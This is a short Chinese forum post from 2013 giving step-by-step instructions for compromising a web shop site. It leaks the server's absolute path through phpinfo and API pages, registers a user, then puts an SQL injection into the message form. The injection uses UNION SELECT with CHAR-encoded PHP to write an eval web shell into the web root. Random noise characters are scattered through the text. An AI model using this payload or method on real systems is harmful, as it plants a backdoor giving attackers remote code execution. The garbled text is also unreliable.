第一个：想办法找到目标网站的绝对路径
6 F& }3 T( Z1 P V/ u) }. `+ z$ o& Y! s# a, O
http://www.political-security.com/install/svinfo.php?phpinfo=true" N% i7 ?* K2 V( k7 o$ T* R3 }
+ E8 q3 G* |" W) s# |http:/www.political-security.com/core/api/shop_api.php
( L- k5 h- w5 N- f1 U: A2 w; V1 F6 y9 ]- |6 o+ {1 l& g
http://www.political-security.co ... api_b2b_2_0_cat.php
/ A3 n* n$ I; E( F4 Q% E0 t6 [* W) O8 [5 g0 A/ r
http://www.political-security.com/core/ap ... b_2_0_goodstype.php
4 [$ r# A' N, i( {( b; Y/ u, ?5 b1 @$ U+ b' p9 K3 H9 {% z1 o
http://www.political-security.co ... i_b2b_2_0_brand.php6 f) K+ U" i# m+ I* o
第二个：注册一个普通用户, W2 Y. h1 {9 v: H. D
' B, [6 q. k- r
http://www.political-security.com/?passport-signup.html1 c7 T+ r3 P0 y1 k
/ d1 h+ v7 ~* k2 d第三个： 发送消息
- c0 l2 ]0 b; t# @3 w* I" T5 h4 v: Q, |% r) @
http://www.political-security.com/?member-send.html* `. E5 Q1 l' v5 C3 ^9 ]0 s3 P0 K
发送给中填写( n% i: m( M7 A4 p- X4 ^
antian365.com' union select CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php' # |
发表于 2013-2-27 21:28:28
收藏
支持
反对